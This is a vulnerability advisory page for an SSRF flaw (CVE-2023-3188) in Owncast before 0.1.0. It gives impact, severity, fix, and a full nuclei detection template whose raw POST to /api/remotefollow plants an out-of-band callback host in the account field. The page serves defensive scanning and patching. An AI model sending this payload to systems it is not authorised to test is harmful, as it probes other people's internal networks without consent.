CVE-2023-3188· owncast project / owncast· CWE-918
Owncast - Server Side Request Forgery
mediumseverity
6.5CVSS score
1.4%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it
Server-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.
Impact
Unauthenticated attackers can exploit SSRF through the account parameter in the remotefollow API to probe internal network services and potentially access sensitive internal resources.
Fix
Update Owncast to version 0.1.0 or later that validates federated account addresses and restricts remote follow requests to authorized domains only.
How to confirm it
Send: POST /api/remotefollow
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "success\":" and "message\":" AND contains in content_type "application/json"Run it with nuclei: nuclei -id CVE-2023-3188 -u <target>
The full check
id: CVE-2023-3188
info:
name: Owncast - Server Side Request Forgery
author: DhiyaneshDk
severity: medium
description: |
Server-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.
impact: |
Unauthenticated attackers can exploit SSRF through the account parameter in the remotefollow API to probe internal network services and potentially access sensitive internal resources.
remediation: |
Update Owncast to version 0.1.0 or later that validates federated account addresses and restricts remote follow requests to authorized domains only.
reference:
- https://owncast.online/
- https://nvd.nist.gov/vuln/detail/CVE-2023-3188
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2023-3188
cwe-id: CWE-918
epss-score: 0.01356
epss-percentile: 0.71872
cpe: cpe:2.3:a:owncast_project:owncast:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: owncast_project
product: owncast
shodan-query: html:"owncast"
tags: cve,cve2023,owncast,oast,ssrf,vuln
http:
- raw:
- |
POST /api/remotefollow HTTP/1.1
Host: {{Hostname}}
{"account":"a@{{interactsh-url}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
- type: word
part: body
words:
- 'success":'
- 'message":'
condition: and
- type: word
part: content_type
words:
- "application/json"References
Use this check only on systems you are authorised to test. Where the data comes from